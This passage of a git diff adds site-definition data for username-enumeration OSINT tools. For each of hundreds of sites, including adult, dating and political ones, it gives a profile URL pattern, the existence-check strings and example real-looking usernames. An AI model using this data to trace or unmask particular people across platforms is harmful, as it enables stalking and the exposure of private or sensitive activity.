"[]", + "known" : ["dottovuu", "maheshsaha1992"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Voices.com", + "uri_check" : "https://www.voices.com/profile/{account}/", + "e_code" : 200, + "e_string" : "Last Online", + "m_string" : "Try going back to the previous page or see below for more options", + "m_code" : 301, + "known" : ["briankirchoff", "bryankopta"], + "cat" : "business", + "valid" : true + }, + { + "name" : "Wanelo", + "uri_check" : "https://wanelo.co/{account}", + "e_code" : 200, + "e_string" : "on Wanelo", + "m_string" : "Hmm, that's embarrassing", + "m_code" : 404, + "known" : ["lisandrareyes"], + "cat" : "shopping", + "valid" : true, + "invalid_chars" : "." + }, + { + "name" : "watchmemore.com", + "uri_check" : "https://api.watchmemore.com/api3/profile/{account}/", + "uri_pretty" : "https://watchmemore.com/{account}/", + "e_code" : 200, + "e_string" : "displayName", + "m_string" : "notExists", + "m_code" : 400, + "known" : ["medroxy", "nodjev"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "warriorforum", + "uri_check" : "https://www.warriorforum.com/members/{account}.html", + "e_code" : 200, + "e_string" : "| Warrior Forum", + "m_string" : "Oops | Warrior Forum -", + "m_code" : 400, + "known" : ["alex", "peter"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Watchmyfeed", + "uri_check" : "https://watchmyfeed.com/{account}", + "e_code" : 200, + "e_string" : "SEND ME A TIP", + "m_string" : "", + "m_string" : "This user doesn't seem to be in our database.", + "m_code" : 404, + "known" : ["weasyl", "test"], + "cat" : "images", + "valid" : true + }, + { + "name" : "weebly", + "uri_check" : "https://{account}.weebly.com/", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "
    ", + "m_string" : "404 - Page Not Found", + "m_code" : 404, + "known" : ["dave", "john"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "weheartit", + "uri_check" : "https://weheartit.com/{account}", + "e_code" : 200, + "e_string" : " on We Heart It", + "m_string" : " (404)", + "m_code" : 404, + "known" : ["alice", "bob"], + "cat" : "social", + "valid" : true + }, + { + "name" : "wego", + "uri_check" : "https://wego.social/{account}", + "e_code" : 200, + "e_string" : "Following", + "m_string" : "Sorry, page not found!", + "m_code" : 302, + "known" : ["mmish2", "Lisa_M_S"], + "cat" : "political", + "valid" : true + }, + { + "name" : "weibo", + "uri_check" : "https://tw.weibo.com/{account}", + "e_code" : 200, + "e_string" : "粉絲", + "m_string" : "Oops!", + "m_code" : 404, + "known" : ["chentingni", "fbb0916"], + "cat" : "social", + "valid" : true + }, + { + "name" : "WeTransfer", + "uri_check" : "https://{account}.wetransfer.com", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "default_recipient_email", + "m_string" : "", + "m_code" : 302, + "known" : ["mark", "joe"], + "cat" : "misc", + "valid" : true + }, + { + "name" : "Wikidot", + "uri_check" : "http://www.wikidot.com/user:info/{account}", + "e_code" : 200, + "e_string" : "Wikidot.com:", + "m_string" : "Free and Pro Wiki Hosting", + "m_code" : 404, + "known" : ["jack", "allen"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Wikipedia", + "uri_check" : "https://en.wikipedia.org/w/api.php?action=query&format=json&list=users&ususers={account}", + "uri_pretty" : "https://en.wikipedia.org/wiki/User:{account}", + "e_code" : 200, + "e_string" : "userid", + "m_string" : "missing:", + "m_code" : 200, + "known" : ["Mcd51", "W._Frank"], + "cat" : "news", + "valid" : true + }, + { + "name" : "Wimkin-PublicProfile", + "uri_check" : "https://wimkin.com/{account}", + "e_code" : 200, + "e_string" : "is on WIMKIN", + "m_string" : " The page you are looking for cannot be found.", + "m_code" : 404, + "known" : ["alex", "smith", "boomer"], + "cat" : "political", + "valid" : true + }, + { + "name" : "Wireclub", + "uri_check" : "https://www.wireclub.com/users/{account}", + "e_code" : 200, + "e_string" : "Chat With", + "m_string" : "People - Wireclub", + "m_code" : 301, + "known" : ["deae", "cheerfulsarcasm", "braydenskiresort"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Wakatime", + "uri_check" : "https://wakatime.com/@{account}", + "e_code" : 200, + "e_string" : ") - WakaTime", + "m_string" : "404: Not Found", + "m_code" : 404, + "known" : ["jake", "alimirzayev"], + "cat" : "coding", + "valid" : true + }, + { + "name" : "wishlistr", + "uri_check" : "https://www.wishlistr.com/profile/{account}/", + "e_code" : 200, + "e_string" : "s profile", + "m_string" : "", + "m_code" : 302, + "known" : ["test"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "Wolni Słowianie", + "uri_check" : "https://wolnislowianie.pl/{account}", + "e_code" : 200, + "e_string" : "Oś czasu", + "m_string" : "Nie znaleziono strony, której szukasz.", + "m_code" : 404, + "known" : ["janek", "kowal"], + "cat" : "social", + "valid" : true + }, + { + "name" : "wordnik", + "uri_check" : "https://www.wordnik.com/users/{account}", + "e_code" : 200, + "e_string" : "Welcome,", + "m_string" : "Wordnik: Page Not Found", + "m_code" : 404, + "known" : ["elle", "john"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "WordPress", + "uri_check" : "https://profiles.wordpress.org/{account}/", + "e_code" : 200, + "e_string" : "user-member-since", + "m_string" : "", + "m_code" : 404, + "known" : ["test"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "WordPress Support", + "uri_check" : "https://wordpress.org/support/users/{account}/", + "e_code" : 200, + "e_string" : "s Profile | WordPress.org", + "m_string" : "User not found", + "m_code" : 404, + "known" : ["test"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "Wowhead", + "uri_check" : "https://www.wowhead.com/user={account}", + "e_code" : 200, + "e_string" : " Profile - Wowhead", + "m_string" : "Error - Wowhead", + "m_code" : 404, + "known" : ["Ashelia", "Zizarz"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "Wykop", + "uri_check" : "https://www.wykop.pl/ludzie/{account}/", + "e_code" : 200, + "e_string" : "Aktywność użytkownika", + "m_string" : "Czy na pewno tego szukałeś? Taka strona nie istnieje.", + "m_code" : 404, + "known" : ["test", "test2"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Xanga", + "uri_check" : "http://{account}.xanga.com/", + "invalid_chars" : ".", + "e_code" : 200, + "e_string" : "s Xanga Site | Just", + "m_string" : "", + "m_code" : 302, + "known" : ["john"], + "cat" : "blog", + "valid" : true + }, + { + "name" : "Xbox Gamertag", + "uri_check" : "https://www.xboxgamertag.com/search/{account}", + "e_code" : 200, + "e_string" : "Games Played", + "m_string" : "Gamertag doesn't exist", + "m_code" : 404, + "known" : ["Spiken8", "john"], + "cat" : "gaming", + "valid" : true + }, + { + "name" : "xHamster", + "uri_check" : "https://xhamster.com/users/{account}", + "e_code" : 200, + "e_string" : "s profile | xHamster", + "m_string" : "User not found", + "m_code" : 404, + "known" : ["john", "tonystark85"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Xing", + "uri_check" : "https://www.xing.com/profile/{account}", + "e_code" : 200, + "e_string" : " | XING", + "m_string" : "Es tut uns leid", + "m_code" : 404, + "known" : ["Andy_Hausmann", "Ramona_Hapke"], + "cat" : "social", + "valid" : true + }, + { + "name" : "XVIDEOS-models", + "uri_check" : "https://www.xvideos.com/models/{account}", + "e_code" : 200, + "e_string" : "Total video views", + "m_string" : "THIS PROFILE DOESN'T EXIST", + "m_code" : 404, + "known" : ["vvalencourt3", "tiffany-tyler"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "XVIDEOS-profiles", + "uri_check" : "https://www.xvideos.com/profiles/{account}", + "e_code" : 200, + "e_string" : "page - XVIDEOS.COM", + "m_string" : "THIS PROFILE DOESN'T EXIST", + "m_code" : 404, + "known" : ["nympho-nailer", "dpadicto", "bkg"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Yahoo! JAPAN Auction", + "uri_check" : "https://auctions.yahoo.co.jp/follow/list/{account}", + "e_code" : 200, + "e_string" : "出品者", + "m_code" : 500, + "m_string" : "Yahoo! JAPAN IDが無効です。", + "known" : ["fltr14502003"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "yapishu", + "uri_check" : "https://yapishu.net/user/{account}", + "post_body" : "", + "e_code" : 200, + "e_string" : "for_profile", + "m_string" : "Not Found (#404)", + "m_code" : 404, + "known" : ["roman", "semion"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "Yazawaj", + "uri_check" : "https://www.yazawaj.com/profile/{account}", + "e_code" : 200, + "e_string" : "أنا", + "m_string" : "الصفحة المطلوبة غير موجودة", + "m_code" : 302, + "known" : ["monya14555d", "LordMohy"], + "cat" : "dating", + "valid" : true + }, + { + "name" : "Yelp", + "uri_check" : "https://www.yelp.com/user_details?userid={account}", + "e_code" : 200, + "e_string" : "'s Reviews |", + "m_string" : "Doggone it! The page you’re looking for cannot be found.", + "m_code" : 404, + "known" : ["j5CYhsvD2yrunyyoZvSvKA", "GHoG4X4FY8D8L563zzPX5w"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "youpic", + "uri_check" : "https://youpic.com/photographer/{account}", + "e_code" : 200, + "e_string" : "- Photographer - YouPic", + "m_string" : "Welcome to the infamous 404 page - YouPic", + "m_code" : 404, + "known" : ["photodude", "mike"], + "cat" : "hobby", + "valid" : true + }, + { + "name" : "YouTube Channel", + "uri_check" : "https://www.youtube.com/c/{account}/about", + "e_code" : 200, + "e_string" : "joinedDateText", + "m_string" : "404 Not Found", + "m_code" : 404, + "known" : ["OvylarockTHR","OSINTDojo"], + "cat" : "video", + "valid" : true + }, + { + "name" : "YouTube User", + "uri_check" : "https://www.youtube.com/user/{account}/about", + "e_code" : 200, + "e_string" : "joinedDateText", + "m_string" : "<title>404 Not Found", + "m_code" : 404, + "known" : ["MicahHoffman","theosintcuriousproject"], + "cat" : "video", + "valid" : true + }, + { + "name" : "YouTube User2", + "uri_check" : "https://www.youtube.com/@{account}", + "e_code" : 200, + "e_string" : "canonicalBaseUrl", + "m_string" : "<title>404 Not Found", + "m_code" : 404, + "known" : ["tactical-systems","CybersecurityMeg"], + "cat" : "video", + "valid" : true + }, + { + "name" : "zatrybi.pl", + "uri_check" : "https://zatrybi.pl/user/{account}", + "e_code" : 200, + "e_string" : "Zarejestrowany od:", + "m_string" : "Nie znaleziono strony", + "m_code" : 404, + "known" : ["Berlinek", "fenrek"], + "cat" : "tech", + "valid" : true + }, + { + "name" : "Zbiornik", + "uri_check" : "https://mini.zbiornik.com/{account}", + "e_code" : 200, + "e_string" : "INFO", + "m_string" : "Szukaj", + "m_code" : 200, + "known" : ["69uzytkownik69", "Soif"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "zhihu", + "uri_check" : "https://www.zhihu.com/people/{account}", + "e_code" : 200, + "e_string" : "zhihu:voteupCount", + "m_string" : "ErrorPage-subtitle", + "m_code" : 400, + "known" : ["lushnis", "kan-shu-jiao-hua-shai-tai-yang"], + "cat" : "social", + "valid" : true + }, + { + "name" : "Zillow", + "uri_check" : "https://www.zillow.com/profile/{account}/", + "e_code" : 200, + "e_string" : "- Real Estate Agent", + "m_string" : "", + "m_code" : 302, + "known" : ["JOHN-L-SULLIVAN", "Maggie-Alegria"], + "cat" : "shopping", + "valid" : true + }, + { + "name" : "zmarsa.com", + "uri_check" : "https://zmarsa.com/uzytkownik/{account}/glowna/", + "e_code" : 200, + "e_string" : "Galeria użytkownika", + "m_string" : "Błąd na stronie", + "m_code" : 500, + "known" : ["janek", "test"], + "cat" : "XXXPORNXXX", + "valid" : true + }, + { + "name" : "Zomato", + "uri_check" : "https://www.zomato.com/{account}/foodjourney", + "e_code" : 200, + "e_string" : "| Zomato", + "m_string" : "404 | Zomato", + "m_code" : 404, + "known" : ["john", "jess"], + "cat" : "social", + "valid" : true + }, + { + "name" : "zoomitir", + "uri_check" : "https://www.zoomit.ir/user/{account}/", + "e_code" : 200, + "e_string" : "پروفایل - زومیت", + "m_string" : "404 Not found", + "m_code" : 404, + "known" : ["rezaghezi", "hosssssein"], + "cat" : "tech", + "valid" : true + } + ] + } diff --git a/data/sites/sherlock.json b/data/sites/sherlock.json new file mode 100644 index 0000000..e86dd69 --- /dev/null +++ b/data/sites/sherlock.json @@ -0,0 +1,3251 @@ +{ + "$schema": "data.schema.json", + "1337x": { + "errorMsg": [ + "Error something went wrong.", + "404 Not Found" + ], + "errorType": "message", + "regexCheck": "^[A-Za-z0-9]{4,12}$", + "url": "https://www.1337x.to/user/{}/", + "urlMain": "https://www.1337x.to/", + "username_claimed": "FitGirl" + }, + "2Dimensions": { + "errorType": "status_code", + "url": "https://2Dimensions.com/a/{}", + "urlMain": "https://2Dimensions.com/", + "username_claimed": "blue" + }, + "7Cups": { + "errorType": "status_code", + "url": "https://www.7cups.com/@{}", + "urlMain": "https://www.7cups.com/", + "username_claimed": "blue" + }, + "9GAG": { + "errorType": "status_code", + "url": "https://www.9gag.com/u/{}", + "urlMain": "https://www.9gag.com/", + "username_claimed": "blue" + }, + "APClips": { + "errorMsg": "Amateur Porn Content Creators", + "errorType": "message", + "isNSFW": true, + "url": "https://apclips.com/{}", + "urlMain": "https://apclips.com/", + "username_claimed": "onlybbyraq" + }, + "About.me": { + "errorType": "status_code", + "url": "https://about.me/{}", + "urlMain": "https://about.me/", + "username_claimed": "blue" + }, + "Academia.edu": { + "errorType": "status_code", + "regexCheck": "^[^.]*$", + "url": "https://independent.academia.edu/{}", + "urlMain": "https://www.academia.edu/", + "username_claimed": "blue" + }, + "AdmireMe.Vip": { + "errorMsg": "Page Not Found", + "errorType": "message", + "isNSFW": true, + "url": "https://admireme.vip/{}", + "urlMain": "https://admireme.vip/", + "username_claimed": "DemiDevil" + }, + "Airbit": { + "errorType": "status_code", + "url": "https://airbit.com/{}", + "urlMain": "https://airbit.com/", + "username_claimed": "airbit" + }, + "Airliners": { + "errorType": "status_code", + "url": "https://www.airliners.net/user/{}/profile/photos", + "urlMain": "https://www.airliners.net/", + "username_claimed": "yushinlin" + }, + "All Things Worn": { + "errorMsg": "Sell Used Panties", + "errorType": "message", + "isNSFW": true, + "url": "https://www.allthingsworn.com/profile/{}", + "urlMain": "https://www.allthingsworn.com", + "username_claimed": "pink" + }, + "AllMyLinks": { + "errorMsg": "Page not found", + "errorType": "message", + "regexCheck": "^[a-z0-9][a-z0-9-]{2,32}$", + "url": "https://allmylinks.com/{}", + "urlMain": "https://allmylinks.com/", + "username_claimed": "blue" + }, + "AniWorld": { + "errorMsg": "Dieses Profil ist nicht verf\u00fcgbar", + "errorType": "message", + "url": "https://aniworld.to/user/profil/{}", + "urlMain": "https://aniworld.to/", + "username_claimed": "blue" + }, + "Anilist": { + "errorType": "status_code", + "regexCheck": "^[A-Za-z0-9]{2,20}$", + "request_method": "POST", + "request_payload": { + "query": "query($name:String){User(name:$name){id}}", + "variables": { + "name": "{}" + } + }, + "url": "https://anilist.co/user/{}/", + "urlMain": "https://anilist.co/", + "urlProbe": "https://graphql.anilist.co/", + "username_claimed": "Josh" + }, + "Apple Developer": { + "errorType": "status_code", + "url": "https://developer.apple.com/forums/profile/{}", + "urlMain": "https://developer.apple.com", + "username_claimed": "lio24d" + }, + "Apple Discussions": { + "errorMsg": "Looking for something in Apple Support Communities?", + "errorType": "message", + "url": "https://discussions.apple.com/profile/{}", + "urlMain": "https://discussions.apple.com", + "username_claimed": "jason" + }, + "Aparat": { + "errorType": "status_code", + "request_method": "GET", + "url": "https://www.aparat.com/{}/", + "urlMain": "https://www.aparat.com/", + "urlProbe": "https://www.aparat.com/api/fa/v1/user/user/information/username/{}", + "username_claimed": "jadi" + }, + "Archive of Our Own": { + "errorType": "status_code", + "regexCheck": "^[^.]*?$", + "url": "https://archiveofourown.org/users/{}", + "urlMain": "https://archiveofourown.org/", + "username_claimed": "test" + }, + "Archive.org": { + "__comment__": "'The resource could not be found' relates to archive downtime", + "errorMsg": [ + "could not fetch an account with user item identifier", + "The resource could not be found", + "Internet Archive services are temporarily offline" + ], + "errorType": "message", + "url": "https://archive.org/details/@{}", + "urlMain": "https://archive.org", + "urlProbe": "https://archive.org/details/@{}?noscript=true", + "username_claimed": "blue" + }, + "Arduino Forum": { + "errorType": "status_code", + "url": "https://forum.arduino.cc/u/{}/summary", + "urlMain": "https://forum.arduino.cc/", + "username_claimed": "system" + }, + "ArtStation": { + "errorType": "status_code", + "url": "https://www.artstation.com/{}", + "urlMain": "https://www.artstation.com/", + "username_claimed": "Blue" + }, + "Asciinema": { + "errorType": "status_code", + "url": "https://asciinema.org/~{}", + "urlMain": "https://asciinema.org", + "username_claimed": "red" + }, + "Ask Fedora": { + "errorType": "status_code", + "url": "https://ask.fedoraproject.org/u/{}", + "urlMain": "https://ask.fedoraproject.org/", + "username_claimed": "red" + }, + "Atcoder": { + "errorType": "status_code", + "url": "https://atcoder.jp/users/{}", + "urlMain": "https://atcoder.jp/", + "username_claimed": "ksun48" + }, + "Vjudge": { + "errorType": "status_code", + "url": "https://VJudge.net/user/{}", + "urlMain": "https://VJudge.net/", + "username_claimed": "tokitsukaze" + }, + "Audiojungle": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9_]+$", + "url": "https://audiojungle.net/user/{}", + "urlMain": "https://audiojungle.net/", + "username_claimed": "blue" + }, + "Autofrage": { + "errorType": "status_code", + "url": "https://www.autofrage.net/nutzer/{}", + "urlMain": "https://www.autofrage.net/", + "username_claimed": "autofrage" + }, + "Avizo": { + "errorType": "response_url", + "errorUrl": "https://www.avizo.cz/", + "url": "https://www.avizo.cz/{}/", + "urlMain": "https://www.avizo.cz/", + "username_claimed": "blue" + }, + "AWS Skills Profile": { + "errorType": "message", + "errorMsg": "shareProfileAccepted\":false", + "url": "https://skillsprofile.skillbuilder.aws/user/{}/", + "urlMain": "https://skillsprofile.skillbuilder.aws", + "username_claimed": "mayank04pant" + }, + "BOOTH": { + "errorType": "response_url", + "errorUrl": "https://booth.pm/", + "regexCheck": "^[\\w@-]+?$", + "url": "https://{}.booth.pm/", + "urlMain": "https://booth.pm/", + "username_claimed": "blue" + }, + "Bandcamp": { + "errorType": "status_code", + "url": "https://www.bandcamp.com/{}", + "urlMain": "https://www.bandcamp.com/", + "username_claimed": "blue" + }, + "Bazar.cz": { + "errorType": "response_url", + "errorUrl": "https://www.bazar.cz/error404.aspx", + "url": "https://www.bazar.cz/{}/", + "urlMain": "https://www.bazar.cz/", + "username_claimed": "pianina" + }, + "Behance": { + "errorType": "status_code", + "url": "https://www.behance.net/{}", + "urlMain": "https://www.behance.net/", + "username_claimed": "blue" + }, + "Bezuzyteczna": { + "errorType": "status_code", + "url": "https://bezuzyteczna.pl/uzytkownicy/{}", + "urlMain": "https://bezuzyteczna.pl", + "username_claimed": "Jackson" + }, + "BiggerPockets": { + "errorType": "status_code", + "url": "https://www.biggerpockets.com/users/{}", + "urlMain": "https://www.biggerpockets.com/", + "username_claimed": "blue" + }, + "BioHacking": { + "errorType": "status_code", + "url": "https://forum.dangerousthings.com/u/{}", + "urlMain": "https://forum.dangerousthings.com/", + "username_claimed": "blue" + }, + "BitBucket": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9-_]{1,30}$", + "url": "https://bitbucket.org/{}/", + "urlMain": "https://bitbucket.org/", + "username_claimed": "white" + }, + "Bitwarden Forum": { + "errorType": "status_code", + "regexCheck": "^(?![.-])[a-zA-Z0-9_.-]{3,20}$", + "url": "https://community.bitwarden.com/u/{}/summary", + "urlMain": "https://bitwarden.com/", + "username_claimed": "blue" + }, + "Blipfoto": { + "errorType": "status_code", + "url": "https://www.blipfoto.com/{}", + "urlMain": "https://www.blipfoto.com/", + "username_claimed": "blue" + }, + "Blitz Tactics": { + "errorMsg": "That page doesn't exist", + "errorType": "message", + "url": "https://blitztactics.com/{}", + "urlMain": "https://blitztactics.com/", + "username_claimed": "Lance5500" + }, + "Blogger": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "url": "https://{}.blogspot.com", + "urlMain": "https://www.blogger.com/", + "username_claimed": "blue" + }, + "Bluesky": { + "errorType": "status_code", + "url": "https://bsky.app/profile/{}.bsky.social", + "urlProbe": "https://public.api.bsky.app/xrpc/app.bsky.actor.getProfile?actor={}.bsky.social", + "urlMain": "https://bsky.app/", + "username_claimed": "mcuban" + }, + "BongaCams": { + "errorType": "status_code", + "isNSFW": true, + "url": "https://pt.bongacams.com/profile/{}", + "urlMain": "https://pt.bongacams.com", + "username_claimed": "asuna-black" + }, + "Bookcrossing": { + "errorType": "status_code", + "url": "https://www.bookcrossing.com/mybookshelf/{}/", + "urlMain": "https://www.bookcrossing.com/", + "username_claimed": "blue" + }, + "BoardGameGeek": { + "errorMsg": "\"isValid\":true", + "errorType": "message", + "url": "https://boardgamegeek.com/user/{}", + "urlMain": "https://boardgamegeek.com/", + "urlProbe": "https://api.geekdo.com/api/accounts/validate/username?username={}", + "username_claimed": "blue" + }, + "BraveCommunity": { + "errorType": "status_code", + "url": "https://community.brave.com/u/{}/", + "urlMain": "https://community.brave.com/", + "username_claimed": "blue" + }, + "BreachSta.rs Forum": { + "errorMsg": "Error - BreachStars", + "errorType": "message", + "url": "https://breachsta.rs/profile/{}", + "urlMain": "https://breachsta.rs/", + "username_claimed": "Sleepybubble" + }, + "BugCrowd": { + "errorType": "status_code", + "url": "https://bugcrowd.com/{}", + "urlMain": "https://bugcrowd.com/", + "username_claimed": "ppfeister" + }, + "BuyMeACoffee": { + "errorType": "status_code", + "regexCheck": "[a-zA-Z0-9]{3,15}", + "url": "https://buymeacoff.ee/{}", + "urlMain": "https://www.buymeacoffee.com/", + "urlProbe": "https://www.buymeacoffee.com/{}", + "username_claimed": "red" + }, + "BuzzFeed": { + "errorType": "status_code", + "url": "https://buzzfeed.com/{}", + "urlMain": "https://buzzfeed.com/", + "username_claimed": "blue" + }, + "Cfx.re Forum": { + "errorType": "status_code", + "url": "https://forum.cfx.re/u/{}/summary", + "urlMain": "https://forum.cfx.re", + "username_claimed": "hightowerlssd" + }, + "CGTrader": { + "errorType": "status_code", + "regexCheck": "^[^.]*?$", + "url": "https://www.cgtrader.com/{}", + "urlMain": "https://www.cgtrader.com", + "username_claimed": "blue" + }, + "CNET": { + "errorType": "status_code", + "regexCheck": "^[a-z].*$", + "url": "https://www.cnet.com/profiles/{}/", + "urlMain": "https://www.cnet.com/", + "username_claimed": "melliott" + }, + "CSSBattle": { + "errorType": "status_code", + "url": "https://cssbattle.dev/player/{}", + "urlMain": "https://cssbattle.dev", + "username_claimed": "beo" + }, + "CTAN": { + "errorType": "status_code", + "url": "https://ctan.org/author/{}", + "urlMain": "https://ctan.org/", + "username_claimed": "briggs" + }, + "Caddy Community": { + "errorType": "status_code", + "url": "https://caddy.community/u/{}/summary", + "urlMain": "https://caddy.community/", + "username_claimed": "taako_magnusen" + }, + "Car Talk Community": { + "errorType": "status_code", + "url": "https://community.cartalk.com/u/{}/summary", + "urlMain": "https://community.cartalk.com/", + "username_claimed": "always_fixing" + }, + "Carbonmade": { + "errorType": "response_url", + "errorUrl": "https://carbonmade.com/fourohfour?domain={}.carbonmade.com", + "regexCheck": "^[\\w@-]+?$", + "url": "https://{}.carbonmade.com", + "urlMain": "https://carbonmade.com/", + "username_claimed": "jenny" + }, + "Career.habr": { + "errorMsg": "

    \u041e\u0448\u0438\u0431\u043a\u0430 404

    ", + "errorType": "message", + "url": "https://career.habr.com/{}", + "urlMain": "https://career.habr.com/", + "username_claimed": "blue" + }, + "CashApp": { + "errorType": "status_code", + "url": "https://cash.app/${}", + "urlMain": "https://cash.app", + "username_claimed": "hotdiggitydog" + }, + "Championat": { + "errorType": "status_code", + "url": "https://www.championat.com/user/{}", + "urlMain": "https://www.championat.com/", + "username_claimed": "blue" + }, + "Chaos": { + "errorType": "status_code", + "url": "https://chaos.social/@{}", + "urlMain": "https://chaos.social/", + "username_claimed": "ordnung" + }, + "Chatujme.cz": { + "errorMsg": "Neexistujic\u00ed profil", + "errorType": "message", + "regexCheck": "^[a-zA-Z][a-zA-Z1-9_-]*$", + "url": "https://profil.chatujme.cz/{}", + "urlMain": "https://chatujme.cz/", + "username_claimed": "david" + }, + "ChaturBate": { + "errorType": "status_code", + "isNSFW": true, + "url": "https://chaturbate.com/{}", + "urlMain": "https://chaturbate.com", + "username_claimed": "cute18cute" + }, + "Chess": { + "errorMsg": "Username is valid", + "errorType": "message", + "regexCheck": "^[a-z1-9]{3,25}$", + "url": "https://www.chess.com/member/{}", + "urlMain": "https://www.chess.com/", + "urlProbe": "https://www.chess.com/callback/user/valid?username={}", + "username_claimed": "blue" + }, + "Choice Community": { + "errorType": "status_code", + "url": "https://choice.community/u/{}/summary", + "urlMain": "https://choice.community/", + "username_claimed": "gordon" + }, + "Clapper": { + "errorType": "status_code", + "url": "https://clapperapp.com/{}", + "urlMain": "https://clapperapp.com/", + "username_claimed": "blue" + }, + "CloudflareCommunity": { + "errorType": "status_code", + "url": "https://community.cloudflare.com/u/{}", + "urlMain": "https://community.cloudflare.com/", + "username_claimed": "blue" + }, + "Clozemaster": { + "errorMsg": "Oh no! Player not found.", + "errorType": "message", + "url": "https://www.clozemaster.com/players/{}", + "urlMain": "https://www.clozemaster.com", + "username_claimed": "green" + }, + "Clubhouse": { + "errorType": "status_code", + "url": "https://www.clubhouse.com/@{}", + "urlMain": "https://www.clubhouse.com", + "username_claimed": "waniathar" + }, + "Code Snippet Wiki": { + "errorMsg": "This user has not filled out their profile page yet", + "errorType": "message", + "url": "https://codesnippets.fandom.com/wiki/User:{}", + "urlMain": "https://codesnippets.fandom.com", + "username_claimed": "bob" + }, + "Codeberg": { + "errorType": "status_code", + "url": "https://codeberg.org/{}", + "urlMain": "https://codeberg.org/", + "username_claimed": "blue" + }, + "Codecademy": { + "errorMsg": "This profile could not be found", + "errorType": "message", + "url": "https://www.codecademy.com/profiles/{}", + "urlMain": "https://www.codecademy.com/", + "username_claimed": "blue" + }, + "Codechef": { + "errorType": "response_url", + "errorUrl": "https://www.codechef.com/", + "url": "https://www.codechef.com/users/{}", + "urlMain": "https://www.codechef.com/", + "username_claimed": "blue" + }, + "Codeforces": { + "errorType": "status_code", + "url": "https://codeforces.com/profile/{}", + "urlMain": "https://codeforces.com/", + "urlProbe": "https://codeforces.com/api/user.info?handles={}", + "username_claimed": "tourist" + }, + "Codepen": { + "errorType": "status_code", + "url": "https://codepen.io/{}", + "urlMain": "https://codepen.io/", + "username_claimed": "blue" + }, + "Coders Rank": { + "errorMsg": "not a registered member", + "errorType": "message", + "regexCheck": "^[a-zA-Z0-9](?:[a-zA-Z0-9]|-(?=[a-zA-Z0-9])){0,38}$", + "url": "https://profile.codersrank.io/user/{}/", + "urlMain": "https://codersrank.io/", + "username_claimed": "rootkit7628" + }, + "Coderwall": { + "errorType": "status_code", + "url": "https://coderwall.com/{}", + "urlMain": "https://coderwall.com", + "username_claimed": "hacker" + }, + "CodeSandbox": { + "errorType": "message", + "errorMsg": "Could not find user with username", + "regexCheck": "^[a-zA-Z0-9_-]{3,30}$", + "url": "https://codesandbox.io/u/{}", + "urlProbe": "https://codesandbox.io/api/v1/users/{}", + "urlMain": "https://codesandbox.io", + "username_claimed": "icyjoseph" + }, + "Codewars": { + "errorType": "status_code", + "url": "https://www.codewars.com/users/{}", + "urlMain": "https://www.codewars.com", + "username_claimed": "example" + }, + "Codolio": { + "errorType": "message", + "errorMsg": "Page Not Found | Codolio", + "url": "https://codolio.com/profile/{}", + "urlMain": "https://codolio.com/", + "username_claimed": "testuser", + "regexCheck": "^[a-zA-Z0-9_-]{3,30}$" + }, + "Coinvote": { + "errorType": "status_code", + "url": "https://coinvote.cc/profile/{}", + "urlMain": "https://coinvote.cc/", + "username_claimed": "blue" + }, + "ColourLovers": { + "errorType": "status_code", + "url": "https://www.colourlovers.com/lover/{}", + "urlMain": "https://www.colourlovers.com/", + "username_claimed": "blue" + }, + "Contently": { + "errorType": "response_url", + "errorUrl": "https://contently.com", + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "url": "https://{}.contently.com/", + "urlMain": "https://contently.com/", + "username_claimed": "jordanteicher" + }, + "Coroflot": { + "errorType": "status_code", + "url": "https://www.coroflot.com/{}", + "urlMain": "https://coroflot.com/", + "username_claimed": "blue" + }, + "Cplusplus": { + "errorType": "message", + "errorMsg": "404 Page Not Found", + "url": "https://cplusplus.com/user/{}", + "urlMain": "https://cplusplus.com", + "username_claimed": "mbozzi" + }, + "Cracked": { + "errorType": "response_url", + "errorUrl": "https://www.cracked.com/", + "url": "https://www.cracked.com/members/{}/", + "urlMain": "https://www.cracked.com/", + "username_claimed": "blue" + }, + "Cracked Forum": { + "errorMsg": "The member you specified is either invalid or doesn't exist", + "errorType": "message", + "url": "https://cracked.sh/{}", + "urlMain": "https://cracked.sh/", + "username_claimed": "Blue" + }, + "Credly": { + "errorType": "status_code", + "url": "https://www.credly.com/users/{}", + "urlMain": "https://www.credly.com/", + "username_claimed": "credly" + }, + "Crevado": { + "errorType": "status_code", + "regexCheck": "^[\\w@-]+?$", + "url": "https://{}.crevado.com", + "urlMain": "https://crevado.com/", + "username_claimed": "blue" + }, + "Crowdin": { + "errorType": "status_code", + "regexCheck": "^[a-zA-Z0-9._-]{2,255}$", + "url": "https://crowdin.com/profile/{}", + "urlMain": "https://crowdin.com/", + "username_claimed": "blue" + }, + "CryptoHack": { + "errorType": "response_url", + "errorUrl": "https://cryptohack.org/", + "url": "https://cryptohack.org/user/{}/", + "urlMain": "https://cryptohack.org/", + "username_claimed": "blue" + }, + "Cryptomator Forum": { + "errorType": "status_code", + "url": "https://community.cryptomator.org/u/{}", + "urlMain": "https://community.cryptomator.org/", + "username_claimed": "michael" + }, + "Cults3D": { + "errorMsg": "Oh dear, this page is not working!", + "errorType": "message", + "url": "https://cults3d.com/en/users/{}/creations", + 